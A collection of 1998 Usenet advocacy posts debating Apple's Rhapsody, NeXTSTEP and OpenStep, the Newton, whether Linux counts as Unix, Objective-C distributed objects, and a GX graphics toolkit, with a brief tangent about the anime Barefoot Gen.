> In <6fudtl$nr3$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > You've discussed some of this before, but would you mind summarizing
> > your vision for "IB-Lite + AppleScript"?
> So what you need is plugins for IB that let you *something*-click on
> objects and up pops a text editor where you type in the AS code.
So, in what sense is that an IB "Lite"? Are you thinking of a separate
product to do this?
> You'd need some way of associating scripts with individual objects (anyone
> know how Joy does it),
I haven't used Joy. Does it let you attach scripts to standard AppKit
objects as a combined target/action, or does it do something else?
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Thu, 02 Apr 1998 09:55:58 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0204980955590001@dante.eng.uci.edu>
References: <rmcassid-0104981112000001@dante.eng.uci.edu> <6g08a9$lbv@flonk.uk.sun.com>
Xcanpos: shelf.01/199804142201!0039126723
In article <6g08a9$lbv@flonk.uk.sun.com>, Jeff.Richmond@uk.sun.com wrote:
>In article <rmcassid-0104981112000001@dante.eng.uci.edu>,
rmcassid@uci.edu writes:
>>Clearly it doesn't much matter how far ahead one is technologically even
>>though I agree with you that Newton was the one to catch. Newton never had
>>the mindshare and it took a lot of work to get apps developed for it as it
>>didn't leverage work done on any other OS.
>>
>
>So if mindshare of the consumer isn't a problem, the marketing must be at
>fault. Ahh.
Sometimes you just end up on the wrong end of cutting edge. Newton could
never really compete long-term with WinCE because of WinCE's ties to
Windows. No amount of marketing can overcome that.
>Application development is -different- than other environments because
the OS is
>object-oriented and designed explicity for PDAs. But it is those very factors
>which give the Newton it's edge over PDAs based on desktop OSs ... like the
>forthcoming MacOS-based PDA. The desktop paradigm simply does not
translate well
>to the PDA ... can anyone name a feature of the MacOS that you would want
>to see in a PDA?
Feature? No. Solution? Yes. I'd like to see a Filemaker client. I'd like
to see a lot of clients actually which would share most of their code with
their desktop counterparts except for the UI. Isn't this one core element
of Rhapsody like OpenStep before it - isolate the business logic from the
UI?
>Well, if they're making their living writing for Psions or WinCE devices
(where
>most Newton developers will go I'm sure), I don't expect they'll return to a
>company that burned them big time.
Probably not. But there will be MacOS developers interested in making a
PDA version of their app instead.
-Bob Cassidy
From: "Ron Peterson" <peterrj@mail.state.wi.us>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 19:11:49 GMT
Organization: State of Wisconsin
Message-ID: <01bd5e69$808ea150$4fefbda5@DTM41727>
References: <199801202218001457904@ppp8.hol.fr> <slrn6duen6.q82.sal@panix3.panix.com> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <slrn6i2mja.a5o.sal@panix3.panix.com> <slrn6i2sbf.a5o.sal@panix3.panix.com>
Xcanpos: shelf.01/199804142201!0040143823
Salvatore Denaro <sal@panix3.panix.com> wrote in article
<slrn6i2sbf.a5o.sal@panix3.panix.com>...
> I missed a few:
> 10) Bundle IB with the OS so 3rd party dev tools can make use of it.
It would be nice to bundle the C compiler and Unix libraries so that Unix
applications
can be compiled without buying the entire software development kit.
From: andrew@AmbrosiaSW.com (Andrew Welch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Message-ID: <andrew-0204981405030001@lgm.com>
References: <B12D7BD5-3CE309@141.214.128.36> <350ce48e.0@maser.urz.unibas.ch> <6eirc9$54j$4@ns3.vrx.net> <350D7C4F.D69@convex.hp.com> <6ejfi1$jst$3@ns3.vrx.net> <350DCA12.2722@convex.hp.com> <slrn6grv2b.hto.sal@panix3.panix.com> <350E4078.D8B6B744@nstar.net> <slrn6gt9te.r9f.sal@panix3.panix.com> <350EB950.2ABAE182@nstar.net> <slrn6hcab8.94c.mbkennel@lyapunov.ucsd.edu> <3517D44B.A05944BE@nstar.net> <slrn6hg6kg.kjn.sal@panix3.panix.com> <351824A0.3723@nstar.net> <slrn6hh8u3.57m.sal@panix3.panix.com> <3518B383.49A1D749@nstar.net> <slrn6hj304.e9k.sal@panix3.panix.com> <3519C41D.2B9F@nstar.net> <slrn6hnmtr.5p.sal@panix3.panix.com> <351BE06A.68849F9B@nstar.net> <slrn6ho882.mlr.sal@panix3.panix.com> <351d6202.0@nnrp1.news.uk.psi.net> <slrn6i2gsk.a5o.sal@panix3.panix.com> <6frnos$e4s$1@cronkite.cygnus.com> <3521DC87.5515B046@nstar.net> <slrn6i6e1v.j6l.sal@panix3.panix.com> <3523444C.1418465B@nstar.net> <slrn6i7lum.kjl.sal@panix3.panix.com>
Organization: Ambrosia Software, Inc.
Date: Thu, 02 Apr 1998 19:05:50 GMT
NNTP-Posting-Date: Thu, 02 Apr 1998 14:05:50 EST
Xcanpos: shelf.01/199804142201!0040526391
In article <slrn6i7lum.kjl.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> Do you have Rhapsody? Have you used Rhapsody? Have you developed under
> Rhapsody?
Yes, yes, and yes. What's your point?
+--------------------------+-----------------------------------+
| Andrew Welch | Ambrosia Software, Inc. |
| Thaumaturgist | http://www.AmbrosiaSW.com/ |
+--------------------------+-----------------------------------+
From: Curtis Bass <cndbass@i2020.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: Wed, 01 Apr 1998 22:23:14 -0500
Organization: i2020 -- Richmond's internet partner. http://www.i2020.net
Message-ID: <352304A2.2427@i2020.net>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu>
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Xcanpos: shelf.01/199804140601!0049793336
Gregory Loren Hansen wrote:
-- snip --
> I know, someone is bound to pipe up and say Linux isn't a Unix because it
> doesn't have the right pedigree. But it looks like a Unix, walks like a
> Unix, quacks like a Unix, and it's widely supported for a Unix, and it's
> free.
Well, the real reason it can't be called UNIX is simply because the Open
Group has the rights to the UNIX name, and *they* decide what is and
isn't UNIX. Even FreeBSD (which is a direct decendant of Berkely BSD
4.x UNIX) cannot be called "UNIX" for this reason.
As far as I'm concerned, if it can run SCO binaries (which Linux can),
it's pretty much UNIX, even if we can't *call* it UNIX.
Curtis
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 2 Apr 1998 19:35:34 GMT
Organization: @Home Network
Message-ID: <6g0pa6$3jq$1@ha2.rdc1.sdca.home.com>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com> <rmcassid-0104981112000001@dante.eng.uci.edu> <6fva9h$ris$1@ha2.rdc1.sdca.home.com> <slrn6i6ofe.17n.mbkennel@lyapunov.ucsd.edu>
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Xcanpos: shelf.01/199804142201!0047952297
mbkennel@yahoo.com (Matt Kennel) wrote:
>On 2 Apr 1998 06:13:05 GMT, Rex Riley <rexr@starr.com> wrote:
>:>In <rmcassid-3103981540370001@dante.eng.uci.edu> rmcassid@uci.edu writes:
>:>If Rhapsody ends up with a MacOS or NT sized market, it'll get plenty of
>:>developers to forget Newton and chase the market.
>:>
>:>
>:
>:Isn't "chase the market" metaphor _at-risk_,and so RhapsodyOS, as well,
>:really?
>:
>:The "window of opportunity" timing looks critical and closing fast for
Apple.
>:Jobs & Co. had better get Rhapsody "on message" wrt Java and "in position"
>:wrt NC marketplace. Talk, rumor and legacy "cross-compatibility" to NT,
>:Windows, Solaris, etc... will play to an empty audience shortly.
>
>How about "A Network Computer Which Doesn't Suck."
>
>
Talk is cheapŽ and sloganisms fall flat from the ranks of rats on a sinking
ship. It's Apple - who cares? Is Rhapsody's SucklessNC a JavaOS? No? Then
it can't be an NC. That's the street cred ahead for Rhapsody.
Rhapsody's -NXHost works and makes Java based NC's "Feather Weights" on the
desktop. You know that, Matt. I know that. But that doesn't parse for the
rest of the universe.
Apple has a hell of a lot of work to do to sell into the building market
ahead for desktops. MacOS is the "BetaMax" of computing. Re-Building an
empire on the foundations of a forlorned MacOS is committing Apple to the
"niches" of History. Mac doesn't cut-it.
Neither does Techno-Elitism. Apple's superior hardware/software integration
is just BetaMax fodder. All the "NC's suck" attitude in the world isn't
going to help put Rhapsody on the top of the NC "Top 10" List.
The point is that the World isn't going to jump aboard this Rhapsody ship,
anytime soon. Elitism, attitude and bragadaccio about Rhapsody's 10 year
heritage aside, There first needs to be a warm, fuzzy community. A community
where Developers/Users see "themselves" joining. Bitterness, desperation and
elitism from a loyal group of BetaMaxers is not attractive. Java Hot and
Lathered as the neophites are, is a far more promising "group" than a bunch
of old Mac/NeXTies with an evangelical leader.
<Flame Retardant Suit="ON"> :-)
best...
-r
Rex Riley
From: Mike Trivisonno <trivison@nt.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Barefoot Gen (Was: Re: "Well, Mr. Jobs, What'll It Be?")
Date: Thu, 02 Apr 1998 12:20:24 -0600
Organization: Nortel
Message-ID: <3523D4DD.3369@nt.com>
References: <35228429.10C8@nt.com> <B148097D-8570C@206.165.43.107>
Mime-Version: 1.0
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Xcanpos: shelf.01/199804150201!0005398485
Lawson English wrote:
>
> Mike Trivisonno <trivison@nt.com> said:
>
> >
> > And Barefoot Gen is perhaps the finest film I have ever seen. Nothing
> > from studios in the west come close to this masterpiece.
> >
>
> That's one anime that I've been afraid to watch, to be honest. I watch
> anime for entertainment and a story about Hiroshima survivors is likely to
> be just a tad depressing.
Believe me. You will be entertained. After seeing Bafrefoot Gen, I never
looked at anime in the same way. Not only is the animation of the
highest quality, but the story it tells is incredibly moving. You'll not
soon forget the experience.
Sure it's depressing but only because it actually happened. It's not the
creation of a vivid imagination. It happened right here on Earth. But
it's not all doom and gloom. There are many happy moments. And unlike
most films, the ending is good. You feel a sense of closure...as if
everything is going to be okay for Gen and his family.
Regards,
Mike
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 06:10:48 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6fva58$6th$1@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
Xcanpos: shelf.01/199804141001!0027773281
In comp.os.linux.advocacy , article <6fnt3g$r69$1@news.cs.tu-berlin.de> , Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>> I dunno... don't care either. My opinions of the thing have changed
>> anyway. Today, I have more respect for NextStep's technology, although I
>> choose Linux for myself.
> Well, it's a good thing that you are still flexible, and I don't
> think anybody here has problems respecting your choice.
> [...]
>> Anyway, as I said: I don't know enough about RHAPSODY to give it a
>> technological review -- at least not one to my standards. But it seems to
>> me that it has the proprietary software model (Mach or no Mach, BSD or no
>> BSD) for its OpenStep API, and it has Steve Jobs' "everything should be done
>> in a GUI" philosophy. I simply disagree with both the proprietary
>> architecture, and the 100% GUI philosophies.
> Proprietary. Hmmm... Actually, one of the really nice surprise I
> got when I finally received the NextStep developer documentation
> about 7 years ago was how the entire system is based on non-proprietary
> standards. NeXT just took many existing components and integrated them
> into a coherent whole.
Well, yeah OpenStep is a non-proprietary standard... But I mean software
license wise... Basicly by that, I mean: it's not OpenSource. There are a
lot of folks who aren't bothered by that (and I'm not horribly bothered by
it either...), but I would like to point out that a Microsoft monopoly
couldn't form on OpenSource software.
[*] For those who don't know: OpenSource is a new trademarked name for free
software. Free software is free in the GNU since: you can redistribute it,
modify it, ect...
> They took Mach + a BSD Unix. Cool. They used Objective-C as their
> OO language, an extension to C that is so easy that a 17 year old
> with hardly any prior experience to C managed to create a pre-processor
> and runtime within a month in his spare time. Cool.
Objective C isn't my favorite, although I never really learned it...
Here are my thoughts on the subject: I really don't wanna waste my time on
some C++ vs OC war. Frankly, I would have to learn OC on my own time, and
that's not something I wanna do right now. Since I won't be programming
OpenStep anytime soon, why should I? If I have lots of free time in the
future, I would like to contribute my efforts to gnome (
http://www.gnome.org ) because I think it's the future of my choice OS.
> All the data-types are based on industry-standard file formats. For
> images, they used Aldus (now Adobe) TIFF. For text, Microsoft RTF.
RTF is fine, but Microsoft word processing formats like Word are anything
but open.
> For pictures, Adobe's EPS format, which can be supported better than
> on most platforms because of the built in DPS.
I'm advocating PNG myself...
> They then wrapped this stuff with the AppKit, an OO layer so good
> that even now, 10 YEARS (!) later it still is so far ahead of the
> pack that it isn't even funny.
Tell more... What do you like about it? Any disadvantages?
> Because these standard data-types are built into the AppKit, all
> applications use them, allowing them to interoperate extremely
> well not only with each other but with the rest of the world.
I dunno... I don't know enough about AppKit to say, but honestly, I think
you should take a look at some of the stuff OS/2 does!
Watch out for Gnome in about five years guys... :) We're genna build one
hell (excuse me) of a GUI/API desktop!
> What's more, the updated NextStep that is known as OpenStep
> is just that, and *open*, *published* specification that
> anyone can implement. Sun has done so, but abandoned their
> effort because of their 100% pure Java idiocy. The GNUStep
> people are doing so, and if you want to, you can join in and
> help them.
I dunno... GNUStep is a note-worthy project, but my efforts are in Gnome.
> As to the '100% GUI' philosophy, I simply don't know where you
> got that from. NeXTStep always had the CLI available in case
^^^^^^^
> the GUI was acting up again, with both a multi-window terminal
> emulator (by far the best GUI console I've seen, especially in
> the way the scroll-back buffer works with full VT100 emulation)
> and the ability to do a console login (not to mention telnet,
> rsh etc.)
Yeah, you have a character mode interface. But can you really administer
everything in your NS box from it? Rhapsody has promised to be even more
GUI'd. It seems like they act as if a CLI were just left in for backup or
for the old foggies who think it's better... there are cases, many cases,
when a CLI is faster, easier, and certainly less resource hungry.
> In fact, one thing that I find *very* cool is that many of
> the GUI tools are built on top of CLI utilities, so you *know*
> that what you are doing with the GUI can be replicated *exactly*
> with the CLI, and vice versa.
This is nice... Something I might contribute to Gnome is standard commands
for programs to use via system() function... like gcp, gmv, gln...
Simplicity! :)
> In addition there is some cool integration between the GUI
> and the CLI, for example the 'copy' and 'paste' commands
> that allow you to send pasteboard data directly into a UNIX
> pipe (or extract it from there), without having to paste
> the data into some xterm. Even better, but minutely more
> work to set up, are Terminal services (or Tickle services),
> which allow you to select files/text/objects in the GUI and
> have them be operated on by UNIX commands/pipes.
Nice...
> In summary: I really don't know what you mean with proprietary
> and '100% GUI philosophy' and I suspect strongly that neither
> do you.
I mean Steve Jobs' philosophy that everything should be done in a GUI. Look
at the Mac. My fear would be, if I were an NS user, that Apple's
integration would put even more into the GUI and even less in the CLI.
> On to the next point, distributed objects.
>>>> Well... you claimed distributed objects, like Corba are Objective C
>>>> exclusive, and then lied again, saying that you claimed Objective C was
>>>> some sort of native language for distributed objects. Another lie.
>>> False, if Sal was referring to the product "Distributed Objects", introduced
>>> by NeXT several years ago, which *is* based on Objective-C, and whose native
>>> language *is* Objective-C.
>> I didn't know there was a product distributed objects.
> There is/was a product 'portable distributed objects', but NextStep/
> OpenStep just included it.
ok.
>> What I'm referring to is IPC, possibly network IPC, where two programs use
>> the same objects. It, in many cases, is far better than streams.
> Distributed Objects is based on IPC, certainly a couple of layers above
> streams ( streams / message passing / RPC / DO ).
Yeah... it's a healthy abstraction for many tasks. (YES! There ARE
unhealthy abstractions out there!) =)
>> What Sal claimed is that distributed objects API (one of us mentioned Corba
>> and DCOM, so I doubt he was referring strictly the the product you reference)
>> was somehow an advantage OC had over C++, which isn't the case. The corba
>> language has a C++ interface, AND a OC interface.
> Again, you are confusing a couple of things. CORBA is not a language.
But you're wrong! It is a language, AND a protocal! Research this! I
assure you, it's a language...
> It is the Common Object Request Broker Architecture. There are CORBA
> implementations for Objective-C, but that has only little to do with
> Distributed Objects. What is unique about DO (compared to a CORBA
> system with C++ bindings) is that it is 'stubless'.
Regardless... Here's the thing... Sal answered some of my questions on
NS technology rather suspicously. I suspected that he was not being
completely honest or leaving out important details. When the subject of the
conversation turned to distributed objects (I think Corba itself was
mentioned), I tested him. I asked him what distributed objects were, and he
explaned in a reasonible fassion what they were. So, I'm thinking maybe
he's alright after all. In the very next post, he goes on to make a
statement that would lead one to beleive that distributed objects were OC
exclusive.
Anyway, that's my beef with Sal. For him, it means flaming me in virtually
every post I make. For me, it meant kill-listing to prevent myself from
doing just that. Now I de-kill-listed him, and I just don't take him
seriously anymore..
> What this means (in a nutshell) is that client code does not have
> to modified to deal with remote objects. As a matter of fact the
> same code can deal with remote and local objects (of the same type)
> simultaneously, even to the point that you can dynamically change
> an object from remote to local or vice versa, for example to achieve
> load balancing.
I'm very familiar with distributed objects, as my last project I was working
on used DCOM extensivly.
> It all just works and is almost completely transparent. Compared
> to the usual RPC systems with code generation it is a complete
> dream (and I've done both).
> The newest CORBA spec also has a dynamic discovery mechanism,
> but this makes static code much more complicated. I am pretty
> sure it is possible to have DO's dynamic aspected mapped onto
> this CORBA mechanism, but I don't know if the available ORBs
> do this.
> I hope this clears a couple of things up.
Nothing needs clearing up. :) But it's nice to see you post such good
information on Usenet (there's so much noise)...
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 06:15:59 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6fvaev$6th$2@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
Xcanpos: shelf.01/199804141001!0027788838
In comp.os.linux.advocacy , article <351f11d5.0@206.25.228.5> , John Kheit <jkheit@xtdl.com> wrote:
>> Anyway, as I said: I don't know enough about RHAPSODY to give it
>> a technological review -- at least not one to my standards. But
>> it seems to me that it has the proprietary software model (Mach
> But it seems to me, despite your admitted, repeated, and demonstrated
> ignorance, you will persist in spewing, repeating, and demonstrating
> it all about the net.
Whatever.
>> or no Mach, BSD or no BSD) for its OpenStep API, and it has Steve
>> Jobs' "everything should be done in a GUI" philosophy. I simply
>> disagree with both the proprietary architecture, and the 100%
>> GUI philosophies.
> OpenStep is a free and open API for anyone to use. GNU and SUN
> are using it. It's an open standard.
YES... it is an openstandard, and that has something to be said for it...
But the code itself is proprietary, and isn't OpenSource. I'll spare you my
political speech about why things should be OpenSource, and leave it at
this: I want an OS I can contribute to.
> As to the 100% GUI bit, you are wrong. True, OpenStep supports a lot of
> nice GUI stuff, but it supports a ton of non GUI stuff. As to the core OS,
> there is always Terminal.app if you want to get down and boogie like a gear
> head.
I'm not talking about OpenStep API, but its implimentation in NS.
The latest version of NS I really used wasn't too bad as far a the CLI/GUI
went. It was a little too heavy on the GUI, but I'm speculating on Rhapsody
here (notice, it wasn't even a review)... Look at MacOS. CLI doesn't even
exist, save the debug screen. I suspect, with Steve Jobs' idiocy software
design, that everything will be GUI...
Anyway, it's neither here nore there. I intend on for the most part
ignoring Rhapsody. It doesn't really effect me.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 06:24:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i6bot.j6l.sal@panix3.panix.com>
References: <slrn6i2mja.a5o.sal@panix3.panix.com> <B14737A9-B5723@206.165.43.177>
Xcanpos: shelf.01/199804141001!0028787405
On 1 Apr 1998 00:11:01 -0700, Lawson English <english@primenet.com> wrote:
>You forgot a universally available and coherent OOP/Object-based graphics
>API.
GXKit? Since QTML will have a bit of GX, and some other parts of it will
be in AppKit, and the Type stuff will also be around, all that is needed
is someone to bundle it all into one easy to use package.
If you're willing to write it, I'll pay my $10 shareware fee. Show me beta
one of GXKit, and I'll send you a check.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: danielt@thranx.dgii.com (Daniel Taylor)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net> <35239B51.2D38@be1151.pd3.ford.com> <slrn6i7f86.feq.danielt@thranx.dgii.com> <6g0fs1$hng$1@interport.net>
Message-ID: <slrn6i7sns.feq.danielt@thranx.dgii.com>
Date: Thu, 02 Apr 1998 20:25:52 GMT
NNTP-Posting-Date: Thu, 02 Apr 1998 14:25:52 CST
Xcanpos: shelf.01/199804150201!0011824058
On 2 Apr 1998 11:54:25 -0500, float@interport.net <float@interport.net> scribed:
>Daniel Taylor (danielt@thranx.dgii.com) wrote:
>
>: Many commercial Unix's use utilities derived from the GNU utilities
>: that form the foundation of Linux's userspace, and the FSF's glibc
>: is pretty close to an industry standard, as is their C compiler.
>
>Who uses glibc besides Linux?
>
The standard is POSIX, and glibc is pretty close ;)
--
Daniel Taylor
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 2 Apr 1998 20:31:50 GMT
Organization: San Diego State University
Message-ID: <6g0sjm$nf9$1@hole.sdsu.edu>
References: <6f6fpe$lk5@shelob.afs.com> <jayfar-2303981832130001@downtown1-8.slip.netaxs.com> <rmcassid-2403981215280001@dante.eng.uci.edu> <199803300039192097841@sdn-ts-003txhousp07.dialsprint.net> <6fol4e$n21$1@nnrp1.dejanews.com> <rmcassid-3003981259440001@dialin9013.slip.uci.edu> <19980331031822711231@sdn-ts-005txhousp14.dialsprint.net>
Xcanpos: shelf.01/199804150201!0012575735
John Bauer (drifterusa@sprintmail.com) wrote:
: Disney is *not* Microsoft! Without railing too hard against the latter
: (which I may do in another post as I think I have good reason today),
: let me just say that Disney not only has the best marketing but has the
: best product to market.
Somehow, I find the idea of lavishly-animated imitations of old
Hollywood musicals' (note: a musical is like an opera, except that
the music isn't written by Giacomo Puccini and the lyrics aren't
sung by Maria Callas) being "the best product to market" an
unaccountably depressing one.
-tomlinson
--
Ernest S. Tomlinson | http://www.ugcs.caltech.edu/~et
-------------------------------------------------------
Miser Catulle, desinas ineptire.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 06:59:32 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35233754.38F84A51@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com>
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Charles Swiger wrote:
> You know what the problem is, Mike?
No, but I bet you're going to tell me.
> I've never seen you post to any NeXT group except .advocacy, and only then to
> complain about NEXTSTEP. I've never seen you simply ask for help without
> making editorial complaints.
I don't want the help of .advocacy people. Thanks anyway.
> Almost all of the problems you've mentioned have well-known solutions. In
> fact, most of them have been discussed before, and a moderately skilled
> application of search filtering and keyword choice via DejaNews would produce
> lots of useful information.
And I gathered what I could from people I could count on, including
people like mmalcolm crawford and Alex Kac. But I made the decision long
ago that NEXTSTEP didn't "Just Work" the way I needed it to, so I sold
the machine I bought for what I paid for it. My last post was a response
to an implicit (but harmless) challenge to an assertion I made, so I
thought it prudent to respond with some specifics. I don't like it when
people complain without describing their problems. The problems I
described are in the past, so they don't matter anymore except as
instructive examples.
If you have a problem with me, Chuck (I suspect that's the problem),
email me privately. Your grandstanding is *oh so* tiring.
MJP
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 14:30:04 -0600
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3523F54C.6F87@CONVEX.COM>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <slrn6i6eob.j6l.sal@panix3.panix.com> <35234369.8CB74DE3@nstar.net> <slrn6i7soc.kjl.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> Ok. But how do you expect to manage the OS without docs?
Because it "Just Works"? I've never read a single manual for
administration of MacOS. Not a single one.
> >So who cares? Restarting the X server is the only thing one needs to do
> >to reconfigure display settings in X Windows.
>
> How often do you reconfig X?
Whenever I like.
> How often do you reconfig the NeXT wm?
Whenever I was willing to wait.
> I ran
> Linux for over 18 months without having to modify my wm.
Great! My usage patterns are markedly different.
> A 10 minute wait,
> while less than desireible, is hardly unreasonible.
Wrong, wrong, wrong. 10 minutes is 17% of an hour, or 2.1% of a workday.
I really can't afford to waste time like that, especially not if it's
going to be required on a repeated basis.
How often do you reconfigure your IP settings? Not often? So do you
think it's acceptable that Win95 requires a reboot to change them? I
don't.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 00:40:04 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1488FCF-4D423@206.165.43.158>
References: <slrn6i6bot.j6l.sal@panix3.panix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
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Salvatore Denaro <sal@panix3.panix.com> said:
> On 1 Apr 1998 00:11:01 -0700, Lawson English <english@primenet.com>
> wrote:
> >You forgot a universally available and coherent OOP/Object-based
> graphics
> >API.
>
> GXKit? Since QTML will have a bit of GX, and some other parts of it will
> be in AppKit, and the Type stuff will also be around, all that is needed
> is someone to bundle it all into one easy to use package.
>
> If you're willing to write it, I'll pay my $10 shareware fee. Show me
beta
> one of GXKit, and I'll send you a check.
It might be doable, but it might not be. For instance, the NSText class
sounds really cool, but I'm not sure that it is the equivalent of the
hypothetical gxParagraph shape. Leaving aside the issues of whether or not
GX's color-handling are possible in DPS, there's issues like full control
of layout of each line and character individually, the ability to convert
the NSText into individually placeable glyphs while retaining the textness
of the shape and the ability to relate it back to the original NSText
block.
I haven't seen the current implementation of NSText and I imagine that it
is still a work in progress, but the GX typography book is 500 pages long
and it isn't all fluff. There is a LOT of layout control available within
the GX layout shape and unless NSText provides that level of control AND
allows one to play with it ala the gxGlyph shape, I don't think that I'm
quite up to the level of programming required to create a GXKit. There's
also the issue of insertion points and so on. GX provides for insertion
